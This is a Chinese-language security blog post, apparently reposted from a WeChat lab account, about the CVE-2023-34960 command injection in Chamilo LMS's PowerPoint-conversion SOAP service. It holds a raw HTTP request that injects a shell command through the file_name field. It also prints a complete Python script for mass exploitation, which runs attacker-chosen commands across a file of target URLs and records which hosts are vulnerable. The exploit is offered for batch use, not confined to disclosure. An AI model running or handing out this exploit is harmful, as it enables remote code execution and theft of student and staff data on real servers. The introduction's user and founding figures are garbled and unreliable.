资产介绍:
Chamilo 是一个电子学习平台,也称为学习管理系统 (LMS)。自30年成立以来,全球已有2010多万人使用它。作为 LMS,它为教育课程、培训计划或学习和发展计划的管理、文档、跟踪、报告和交付提供了一个集成平台。从本质上讲,它提供了一个数字框架,可以适应学习过程的各个方面,因此,它在众多教育和企业环境中发挥着至关重要的作用。
Chamilo 应用程序处理与教学和学习相关的大量敏感信息,包括学生和教师的个人详细信息、学术记录和专有课程内容。如果处理不当或泄露,此类数据可能会导致重大后果,从侵犯隐私到知识产权盗窃。
"Chamilo"
Chamilo具有一项名为Chamilo Rapid的功能,可以轻松地将PowerPoint(PPT)幻灯片转换为Chamilo上的课程。
通过使用此功能,我们在源代码中识别了一个易受攻击的文件:main/webservices/additional_webservices.php
在源代码中,我们可以识别执行转换的命令:
$cmd = pptConverterGetCommandBaseParams();
$cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"';
...
$shell = exec($cmd, $files, $return);
函数不会筛选文件名。通过查看使用 Chamilo Rapid 功能上传的 PPT 文件的过程,我们找到了发送到函数的 SOAP 代码的解码版本。wsConvertPpt
因此,通过作为 POST 请求:/main/webservices/additional_webservices.php
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:800/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">`PLACEHOLDER`.pptx</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">720x540</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
通过任何系统命令更改占位符,它将在服务器上执行。
通过 SOAP 参数向/main/webservices/additional_webservices.php
发出 POST 请求。
POST /main/webservices/additional_webservices.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 867
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://google.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |id||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
批量EXP/POC:
https://github.com/YongYe-Security/Chamilo_CVE-2023-34960-EXP
import argparse,warnings,requests import xml.etree.ElementTree as ET warnings.filterwarnings("ignore") def Kill_ALL(url, command): body = f'''<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{{}}`.pptx'|" |{command}||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>''' try: response = requests.post('{}/main/webservices/additional_webservices.php'.format(url), data=body, headers={ 'Content-Type': 'text/xml; charset=utf-8', }, verify = False,timeout = 7) except Exception as e: print("[Error] 自行调试,错误:", str(e)) return False if response.status_code == 200 and "wsConvertPptResponse" in response.text: kill = ET.fromstring(response.text) return_tag = kill.find('.//return') if return_tag is not None: content = return_tag.text print(f"[Success] 存在漏洞! 执行结果: {content}") else: print("未找到执行结果,手动检查") with open('Kill_All.txt', "a+") as file: file.write(url + "\n") return True else: return False parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="完整URL地址(http/https)") parser.add_argument("-f", "--file", help="批量URL文件") parser.add_argument("-c", "--command", help="执行命令,可选") args = parser.parse_args() if args.command is None: command = 'whoami' else: command = args.command if args.file is None: urls = [args.url] else: with open(args.file, "r") as url_file: urls = url_file.readlines() for url in urls: url = url.strip() if Kill_ALL(url, command): pass else: print(f"[False] 不存在漏洞/命令执行失败: {url}")
原文始发于微信公众号(YongYe 安全实验室):Chamilo__CVE-2023-34960_RCE漏洞__首发批量EXP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论